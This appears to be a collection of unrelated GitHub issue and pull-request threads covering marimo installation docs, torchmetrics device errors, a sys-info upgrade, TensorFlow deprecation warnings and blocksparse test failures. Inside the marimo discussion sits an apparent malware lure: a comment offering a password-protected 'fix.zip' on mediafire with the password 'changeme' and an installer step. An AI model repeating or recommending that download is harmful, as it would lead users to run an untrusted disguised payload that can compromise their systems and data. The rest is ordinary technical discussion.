Reenable history step logging in artifacts

Description
Bring back history step logging
Testing
It was tested before and will be tested again.
Checklist

Name PR "[WB-NNNN][WB-MMMM] Add support for..." similar to entries in CHANGELOG.md
Include reference to internal ticket "Fixes WB-NNNN" (and github issue "Fixes #NNNN" if applicable)

core updated mac_cli_version, I presume?

Yep


Marimo execution model

Documentation is

[ ] Missing
[ ] Outdated
[X] Confusing
[ ] Not sure?

Explain in Detail
I opened #2133 yesterday but I now think that the underlying issue there needs a bit more discussion, hence this ticket.
Your Suggestion for Changes
I see three ways you can run marimo:

With a user managed virtualenv (python -m venv) and pip.
Within a project with "modern" tooling (folder with a pyproject.toml or similar) like poetry, uv, etc.
Without a project, using a CLI, like pipx or uvx.

User managed virtualenv
Which is documented in the "folded" contents of the index.md before installation instructions has been, historically, "the way" to run Python programs since virtualenv was introduced many years ago.
It requires manual handling of things: dependencies (with a requirements.txt file for example), recreating environments when changing python versions, etc.
You have to remember to update your environment / dependencies from time to time.
Modern tooling
Tools like poetry or uv make life a bit easier by managing most stuff for you inside a pyproject.toml file. In particular, those tools provide an add command to easily add, lock and install dependencies.
This modern tooling is specially useful inside projects (ie, when building packages or deployable artifacts).
You have to remember to update your environment / dependencies from time to time. And lockfiles can make your life miserable (sometimes).
Without a project file it is little more than a virtualenv manager on steroids.
Outside of a projects
A lot of cases of running python programs "the traditional way" (aka, -m venv) is simply installing some CLI with dependencies and running it.
One of the first tools I recall addressing this is pipx and more recently uvx from uv.
Updating the environment / dependencies is normally one command away.
Those are intented to be used outside of a project, but when you need a virtualenv. It is also virtualenv manager on steroids on that.
which when what for
IMHO, for some time poetry, uv and others have been used where you would really want uvx or pipx simply because the former had more capabilities while the later are less known.
Creating a virtualenv by hand is anachronic  for most use cases.
Going back to Marimo
the current index.md is recommending to:

Create a virtualenv,
Activate the virtualenv whenever you want to use marimo
Install in the virtulaenv marimo and any other needed packages

This is, IMHO, what pipx and uvx were built to solve.
Both tools allow you to add extra packages to the tool-managed virtualenv: pipx does injection, uvx has --with.
uvx is, at least for me, easier than pipx. More automated. Which makes for a better experience.
I just discovered marimo yesterday, but reading the docs it appears that its use case would benefit greatly from using this modern tooling as it reduces steps for the user.
I cannot see a scenario were you would need a pyproject.toml, except to manage dependencies and avoid listing them in --with which would improve reproducibility by locking dependencies, but not much more and introduces the need to remember to update dependencies.
side note on WASM
Aditionally, when the WASM port becomes stable, as depdencies are then managed inside the notebook with micropip you would benefit greatly of simply running marimo server or whatever command simply launches the WASM frontend with no server (except for serving static resources).
suggestion
My suggestion is to amend the documentation:

Recommend pipx and uvx with examples using those (with dependencies).
Add a "guide" for usage of a manually managed virtualenv and/or in-project tooling like uv, poetry, pdm, etc.

This would make getting started very quick and straightforward, while still providing info on more advanced use cases.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks for your thorough instructions. We could certainly improve our usage documentation.
My understanding is that pipx injection adds packages to a shared ("tool-managed") environment. This might be helpful for the case when you have a single playground environment for multiple projects, however it is not suitable for the common case in which different projects require different, sometimes conflicting, sets of dependencies. For this reason, I wouldn't like to recommend uvx or pipx as the default "installation" method.  But we can certainly mention it as an option.

Hi,

My understanding is that pipx injection adds packages to a shared ("tool-managed") environment. This might be helpful for the case when you have a single playground environment for multiple projects

Exactly, that would be "outside of a project".

however it is not suitable for the common case in which different projects require differen [...] sets of dependencies.

Yes. It is a balance game between ease of use (uvx) and environment control (uv, poetry, pip, etc).
But! You just released 0.8.4 which includes support for PEP-723 which means that the different set of dependencies would be defined at the notebook/script level which would make the ability to control dependencies outside of the script redundant.
So, with 0.8.4's PEP-723 support it would make even more sense to work with marimo as a standalone command utility, with dependencies control in the script itself.

Off Topic: it was rude of me to open #2133 and this issue coming out of the blue. Just fixed that, writing a quick intro of mine in the Discord introductions channel. Apologies!

Off Topic: it was rude of me to open #2133 and this issue coming out of the blue. Just fixed that, writing a quick intro of mine in the Discord introductions channel. Apologies!

No worries! It's great to meet you :)

But! You just released 0.8.4 which includes support for PEP-723 which means that the different set of dependencies would be defined at the notebook/script level which would make the ability to control dependencies outside of the script redundant.

When I tried using uvx marimo edit, marimo's uv  integration was unable to install dependencies, maybe due to a bug in VIRTUAL_ENV not being set by uvx.
I would be open to a PR that adds a section or dropdown to the docs describing how to use marimo with uvx and pipx. Maybe this could go in the getting started guide, maybe somewhere else. Later, when things just work with the tooling and the dust settles, I would consider changing the default installation method.


Share on social media more

Frances

[x] Slack Workspace - Slack - #dhtml
[x] Slack Workspace - Slack - #cust-acq-random
[x] Slack Workspace - Slack - #diversity-inclusion
[x] Slack Workspace - Slack - #slack-women
[x] Slack Workspace - Techqueria - #random
[x] Slack Workspace - Early Women Techmakers - #general
[x] Slack Workspace - Write/Speak/Code - #signal-boost
[x] Slack Workspace - Women Who Code - #general
[x] Slack Workspace - Latinas in Tech - #random
[x] Slack Workspace - RevolutionConf - #random
[x] Slack Workspace - Women in Tech - #main
[x] Slack Workspace - Ladies Get Paid - #articles-resources
[x] Slack Workspace - Product School - #random
[x] Slack Workspace - NextPlay - #general-discussion
[x] Hacker News
[x] LinkedIn
[x] Twitter
[ ] Instagram
[ ] Reddit
[ ] Facebook
[ ] Blog Post - Medium
[ ] Blog Post - LinkedIn
[ ] Blog Post - Personal Website
[x] IndieHackers

Originally posted by @fvcproductions in https://github.com/fvcproductions/apprenticeships.me/issues/74#issuecomment-488738509
Benjamin

[x] LinkedIn: https://www.linkedin.com/feed/update/urn:li:activity:6529723175020822529/
[x] Facebook: https://www.facebook.com/benjamin.modayil (not sure how to get the direct link)
[x] Snapchat: I guess there is no link that would work for this kind of thing.
[x] Instagram: https://www.instagram.com/modayilme/
[x] Twitter: https://twitter.com/modayilme/status/1123954439834996736
[x] Thinkful Slack: https://i.imgur.com/u5xNm98.png
[x] Work Slack: https://i.imgur.com/IbkMcO6.png
[x] LevelUpTutorials JobBoard channel: https://i.imgur.com/EjrbRs5.png
[x] Wes Bos General Slack

Originally posted by @benjaminmodayil in https://github.com/fvcproductions/apprenticeships.me/issues/74#issuecomment-488723529

@benjaminmodayil I still want to write a short blog post about this and share it on the community at some point but I think we did a decent job for our first PH post so this will be a lower priority issue for me now.

Alas, I don't think I'll be blogging about this anytime soon, if ever. I've found I don't really blog as much as I used to - probably on account of being busy with Slack & Techqueria. 😬


add Managers with at Least 5 Direct SQL Leetcode question  Solution

📋 General Issue or Question
Issue Description
I want to add Managers with at Least 5 Direct SQL Leetcode question  Solution
Additional Context
Add any other context, code snippets, or screenshots related to the issue or question.

Would you like to work on this issue?

[x] Yes
[ ] No

Hi @ajay-dhangar can u assign this issue to me

We are not working on LeetCode solutions. We only provide DSA solutions for better understanding. For example, see https://ajay-dhangar.github.io/algo/docs/basic-dsa/array/arrays-in-dsa.

Okay fine got it 😇


Activity Type: Transform

An activity type for features like Wild Shape, Polymorph, etc. that exposes the features of the actor transformation system.

I'm wondering if it might be possible or practical to use this as a framework for allowing a Light radius. Might make more sense to have that be a different activity type, depending on how this is designed.


change old "text" to "content" for translator examples

Proposed changes:
The example snippets of the translator include the argument "text", though it should be "content"

Thanks for picking up on this. Could we also make the changes to the v1.0, v1.1 and v1.2 pages?

yes, will do a new pull request for v.1.2


Should have repeater field, repeater group, condition field, wyswyg option for textarea field

Feature request
Should have repeater field, repeater group, condition field, wyswyg option for textarea field
Why is it needed?
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Suggested solution(s)
A clear and concise description of what you want to happen.
Related issue(s)/PR(s)
Let us know if this is related to any issue/pull request.

Thank you for sharing. Would you please provide examples of what repeater and repeater group fields are? A screenshot or gif would be absolutely perfect. Thank you!

Here is the all of fields from ACF plugin for Wordpress, then you can check it out: https://www.advancedcustomfields.com/resources/

Nice, Thank you for sharing @viennv1709


Error when calling .to('cpu') on a CUDA metric loaded on a CPU-only machine

🐛 Bug
torchmetrics seems unable to handle a metric that has been serialized on a CUDA-enabled installation when later loading on a CPU-only installation and calling metric.to('cpu') (see below). This even happens with torch.load(..., map_location='cpu').
# On CUDA-enabled torch
import torch
import torchmetrics
metric = torchmetrics.classification.Accuracy(task="multiclass", num_classes=5).cuda()
print(metric._device)
# device(type='cuda', index=0)
torch.save(metric, 'test.pth')
# On CPU-only torch
m = torch.load('test.pth', map_location='cpu')
print(m._device)
# device(type='cuda', index=0)
m.to('cpu')
#[...]
#    raise AssertionError("Torch not compiled with CUDA enabled")
#AssertionError: Torch not compiled with CUDA enabled

The problematic code is here:
https://github.com/Lightning-AI/torchmetrics/blob/894de4caeeae820f60f1871d75334873241e5633/src/torchmetrics/metric.py#L811-L813
After loading, self.device will still refer to the original CUDA device as that is what was serialized:
>>> m = torch.load('test.pth', map_location='cpu')
>>> m._device
device(type='cuda', index=0)

Constructing a tensor with torch.zeros(1, device=self.device) will then error out if CUDA is not available.
To Reproduce
see above
Expected behavior

Calling metric.to('cpu') on a metric stored on the CPU device should not throw an error.
Environment
torchmetrics==1.2.0
Additional context

Originally reported here:

https://github.com/pytorch/pytorch/issues/113973
https://github.com/Lightning-AI/lightning/pull/19024

Hi @tringwald, thanks for raising this issue.
The correct way to save and load metrics are saving/loading the state_dict instead of the hole metric, as any other nn.Module. The only difference is that you need to call the metric.persistent(True) method before. Here is an example.
import torch
from torchmetrics.classification import MulticlassAccuracy

metric = MulticlassAccuracy(num_classes=5).to("cuda")
metric.persistent(True)
metric.update(torch.randint(5, (100,)).cuda(), torch.randint(5, (100,)).cuda())
torch.save(metric.state_dict(), "metric.pth")

metric2 = MulticlassAccuracy(num_classes=5).to("cpu")
metric2.load_state_dict(torch.load("metric.pth", map_location="cpu"))

# These will match, but be on different devices
print(metric.metric_state)
print(metric2.metric_state)

This is however not clear at all from our documentation which will be fixed in PR #2237.

Error when calling .to('cpu') on a CUDA metric loaded on a CPU-only machine #2223

@SkafteNicki, thank you for adding this new documentation on saving and loading metrics. However, I am entirely clear on what this would look like for a typical LightningModule. For example, I typically instantiate all my torchmetrics in my LightningModule's __init__() function. Is this best practice, or is there another place I should be instantiating these? Moreover, how can I ensure that Lightning only saves my metrics' state_dict in a persistent way?


Upgrade sys-info

This fixes a regression linking to the native get_mem_info function when upgrading the next toolchain.
What have you changed? (mandatory)
Bumped sys-info from 0.5.1 to 0.5.6.
While testing cargo pipelining I needed to use a newer toolchain. That toolchain failed to link the native parts of the sys-info crate. Upgrading sys-info fixes it for whatever reason. Doesn't seem worth investigating.
What are the type of the changes? (mandatory)

Engineering (engineering change which doesn't change any feature or fix any issue)

How has this PR been tested? (mandatory)
cargo build
Does this PR affect documentation (docs) or release note? (mandatory)
no
Does this PR affect tidb-ansible update? (mandatory)
no
Refer to a related PR or issue link (optional)
Benchmark result if necessary (optional)
Add a few positive/negative examples (optional)

This PR breaks the build on WSL, and probably pre-3.4 linuxes. @Hoverbear has a fix for sys-info at https://github.com/FillZpp/sys-info-rs/pull/33.

Should we wait for FillZpp/sys-info-rs#33 or just merge this PR now?

I think @Hoverbear is ok with merging it, and this unblocks cargo pipelining. PTAL @Hoverbear

If we want to we can take another git dependency on sys-info temporarily. I'm happy to make that change here.

Lgtm

(side note that PR is merged. Should we ask for a new release?)

We could upgrade to 0.5.7 now

OK, sys-info is now 0.5.7. PTAL @Hoverbear @kennytm

/run-integration-tests


Remove double posthog in requirements.txt

https://github.com/chroma-core/chroma/blob/main/requirements.txt#L9

Can I be assigned this?

@ishaan812 done, thank yoU!


feat(consumer): start consumer once automatically.

Signed-off-by: Bo-Yi Wu<EMAIL_ADDRESS>

Codecov Report

Merging #1 (9845d90) into main (f40b42c) will decrease coverage by 2.20%.
The diff coverage is 87.50%.

@@            Coverage Diff             @@
##             main       #1      +/-   ##
==========================================
- Coverage   74.13%   71.92%   -2.21%
==========================================
  Files           2        3       +1
  Lines         232      228       -4
==========================================
- Hits          172      164       -8
- Misses         53       55       +2
- Partials        7        9       +2

Flag
Coverage Δ

go-1.17
71.92% <87.50%> (-2.21%)
:arrow_down:

go-1.18
71.92% <87.50%> (-2.21%)
:arrow_down:

ubuntu-latest
71.92% <87.50%> (-2.21%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

options.go
50.90% <ø> (-1.64%)
:arrow_down:

redis.go
77.43% <71.42%> (-4.07%)
:arrow_down:

helper.go
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f40b42c...9845d90. Read the comment docs.


Show PostgreSQL Database/Schema size in Database Navigator

Is your feature request related to a problem? Please describe.
Currently Database Navigator doesn't show DB/Schema sizes under "Databases"/"Schemas" node properties.
Describe the solution you'd like
Add a column called "Database Size" under "Databases" node properties
and a column called "Schema Size" under "Schemas" node properties.
Describe alternatives you've considered
Running queries:
SELECT pg_size_pretty(pg_database_size('postgres'));
(Need to right-click DB and "Set as default" before following query)
SELECT schemaname, pg_size_pretty(sum(pg_total_relation_size(quote_ident(schemaname) || '.' || quote_ident(tablename)))::bigint)
FROM pg_tables
WHERE
GROUP BY schemaname
ORDER BY schemaname

Hello @yoni-yad2
We already have support for database statistics for PostgreSQL, but it is disabled by default.

We can probably add schema statistics for this setting as well.

Thanks, I can see that, but my request was to add a column to the properties window so we could sort the list by DB size/Schema Size.


TypeError: ui._responsive is not a function

I get the error TypeError: ui._responsive is not a function each time I try to access the studio on a localhost:3000/studio path.
This is what the mounted studio page looks like (located in pages/studio/[[...index]].tsx:
import Head from 'next/head';
import { NextStudio } from 'next-sanity/studio';
import { NextStudioHead } from 'next-sanity/studio/head';
import { StudioLayout, StudioProvider } from 'sanity';
import config from '../../sanity.config';
// import { createGlobalStyle } from 'styled-components';

// const GlobalStyle = createGlobalStyle(({ theme }) => ({
//   html: { backgroundColor: theme.sanity.color.base.bg },
// }))

export default function StudioPage() {
  return (
    <>
      <Head>
        <NextStudioHead favicons={false} />
      </Head>

      <NextStudio config={config}>
        <StudioProvider config={config}>
          {/* <GlobalStyle /> */}
          <StudioLayout />
        </StudioProvider>
      </NextStudio>
    </>
  )
}

My version is: "next-sanity": "^4.1.3".

Hi, could you share what versions of sanity and @sanity/ui you're on?

I've removed the GlobalStyle config since I don't actually need it. Thank you.


Deprecation Warning in LocallyConnected1D

Tensorflow version 2.4.1
https://github.com/tensorflow/tensorflow/blob/85c8b2a817f95a3e979ecd1ed95bff1dc1335cff/tensorflow/python/keras/layers/local.py#L39-L338
And also (perhaps more specifically)
https://github.com/tensorflow/tensorflow/blob/85c8b2a817f95a3e979ecd1ed95bff1dc1335cff/tensorflow/python/keras/layers/local.py#L780
In a LocallyConnected1D layer, if you use implementation==2 you get a deprecation warning for using math_ops.sparse_matmul.
Possible solution:
Change that line to use tf.linalg.matmul as the deprecation warning recommends.
To reproduce:
import tensorflow as tf

# Create a tensor to run the layer on.
# The specifics of the shape don't matter as long as it's at least 3 long so that the
# layer will process properly

tensor = tf.random.normal((1, 32, 5))

# Again, the specifics don't really matter as long as the input shape is compatible.
# The important part is the `implementation` parameter.
lc_layer = tf.keras.layers.LocallyConnected1D(10, 1, implementation=2)

print(lc_layer(tensor))

output:
WARNING:tensorflow:From c:\project_dir\venv\lib\site-packages\tensorflow\python\keras\layers\local.py:780: sparse_mat_mul (from tensorflow.python.ops.gen_math_ops) is deprecated and will be removed in a future version.
Instructions for updating:
Use `tf.linalg.matmul` instead

Please refer #48491

Very fast response! Thanks!


Enhance/date time formatter

Coverage remained the same at 46.603% when pulling 847365f7b5070d63f98bfabcf55e1cf5bb8935ed on u9520107:enhance/date-time-formatter into 842ff777e249df1219ada7a0ad2989b69d9b04b8 on ringcentral:master.


update khmer_abundance_distribution_single rule

jobs above > 100MB go to pulsar-mel3_mid

this is in response to a bug report from Igor


feat(fieldpath): Handle case differences in structure member names

This patch updates the memberShapeRef function in the fieldpath
package to handle case differences between struct member names in the
ACK model and the AWS SDK Model.
Previously, the function assumed that member names in the ACK model and
AWS SDK model were identical. However, this is not always the case, as
some field names may have different casing (e.g AWSVPCConfiguration in
the ACK model and AwsVpcConfiguration in the AWS SDK model).
To address this issue, the function now leverages strings.EqualFold to
compare the member names case isensitively.
Signed-off-by: Amine Hilaly<EMAIL_ADDRESS>By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

/retest

/retest

/retest

/retest

/lgtm


test/blocksparse_conv_test.py failed and example/simple.py sometimes raised an invalid memory access error

System information

OS Platform and Distribution: Linux Ubuntu 18.04
TensorFlow version: 1.13.1 (with GPU support)
Python version: 3.7.7
CUDA/cuDNN version: 10.0 / 7
GPU: Tesla T4

Encountered problem
I tried both pip install blocksparse and building from source. After installation, I can run import blocksparse in Python and pass most tests. However, when I run test/blocksparse_conv_test.py, the following error occurred.
(tf13) ubuntu@xxx:~/blocksparse$ python test/blocksparse_conv_test.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/contextlib.py:82: TensorFlowTestCase.test_session (from tensorflow.python.framework.test_util) is deprecated and will be removed in a future version.
Instructions for updating:
Use `self.session()` or `self.cached_session()` instead.
2020-07-19 15:22:55.214905: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:22:55.236910: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:22:55.237482: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x55b7bd771c50 executing computations on platform Host. Devices:
2020-07-19 15:22:55.237509: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:22:55.362344: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:22:55.363172: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:22:55.363193: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:22:55.393925: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
2020-07-19 15:22:55.393972: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:22:55.393981: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:22:55.394077: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:22:55.395613: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x55b7bbfe59e0 executing computations on platform CUDA. Devices:
2020-07-19 15:22:55.395639: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5

test1
2020-07-19 15:22:55.429514: W tensorflow/core/framework/op_kernel.cc:1401] OP_REQUIRES failed at blocksparse_conv_op.cc:320 : Internal: device kernel image is invalid
ERROR:tensorflow:device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Caused by op 'test1/F4B4/BlocksparseConv', defined at:
  File "test/blocksparse_conv_test.py", line 213, in <module>
    tf.test.main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/test.py", line 64, in main
    return _googletest.main(argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 100, in main
    benchmark.benchmarks_main(true_main=main_wrapper)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/benchmark.py", line 371, in benchmarks_main
    true_main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 99, in main_wrapper
    return app.run(main=g_main, argv=args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/app.py", line 125, in run
    _sys.exit(main(argv))
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 70, in g_main
    return unittest_main(argv=argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 101, in __init__
    self.runTests()
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 271, in runTests
    self.result = testRunner.run(self.test)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/runner.py", line 176, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 676, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 628, in run
    testMethod()
  File "test/blocksparse_conv_test.py", line 126, in testBlocksparseConv
    op   = bs_conv_op(devF, devI)
  File "/home/ubuntu/blocksparse/blocksparse/conv.py", line 511, in __call__
    dimF=F.get_shape().as_list(), fshare=self.fshared, bshare=self.bshared, debug=self.debug
  File "<string>", line 471, in blocksparse_conv
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py", line 788, in _apply_op_helper
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/util/deprecation.py", line 507, in new_func
    return func(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 3300, in create_op
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 1801, in __init__
    self._traceback = tf_stack.extract_stack()

InternalError (see above for traceback): device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Es
======================================================================
ERROR: testBlocksparseConv (__main__.BlocksparseConvTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1334, in _do_call
    return fn(*args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1319, in _run_fn
    options, feed_dict, fetch_list, target_list, run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1407, in _call_tf_sessionrun
    run_metadata)
tensorflow.python.framework.errors_impl.InternalError: device kernel image is invalid
         [[{{node test1/F4B4/BlocksparseConv}}]]
         [[{{node test1/F4B4/BlocksparseConv}}]]

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "test/blocksparse_conv_test.py", line 127, in testBlocksparseConv
    devO = sess.run( op )
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/test_util.py", line 1368, in run
    return super(ErrorLoggingSession, self).run(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 929, in run
    run_metadata_ptr)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1152, in _run
    feed_dict_tensor, options, run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1328, in _do_run
    run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1348, in _do_call
    raise type(e)(node_def, op, message)
tensorflow.python.framework.errors_impl.InternalError: device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Caused by op 'test1/F4B4/BlocksparseConv', defined at:
  File "test/blocksparse_conv_test.py", line 213, in <module>
    tf.test.main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/test.py", line 64, in main
    return _googletest.main(argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 100, in main
    benchmark.benchmarks_main(true_main=main_wrapper)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/benchmark.py", line 371, in benchmarks_main
    true_main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 99, in main_wrapper
    return app.run(main=g_main, argv=args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/app.py", line 125, in run
    _sys.exit(main(argv))
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 70, in g_main
    return unittest_main(argv=argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 101, in __init__
    self.runTests()
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 271, in runTests
    self.result = testRunner.run(self.test)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/runner.py", line 176, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 676, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 628, in run
    testMethod()
  File "test/blocksparse_conv_test.py", line 126, in testBlocksparseConv
    op   = bs_conv_op(devF, devI)
  File "/home/ubuntu/blocksparse/blocksparse/conv.py", line 511, in __call__
    dimF=F.get_shape().as_list(), fshare=self.fshared, bshare=self.bshared, debug=self.debug
  File "<string>", line 471, in blocksparse_conv
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py", line 788, in _apply_op_helper
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/util/deprecation.py", line 507, in new_func
    return func(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 3300, in create_op
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 1801, in __init__
    self._traceback = tf_stack.extract_stack()

InternalError (see above for traceback): device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

----------------------------------------------------------------------
Ran 2 tests in 0.231s

FAILED (errors=1, skipped=1)

Besides, invalid memory access sometimes happens when running examples/simples.py. Here is the output without error.
(tf13) ubuntu@xxx:~/blocksparse$ python examples/simple.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
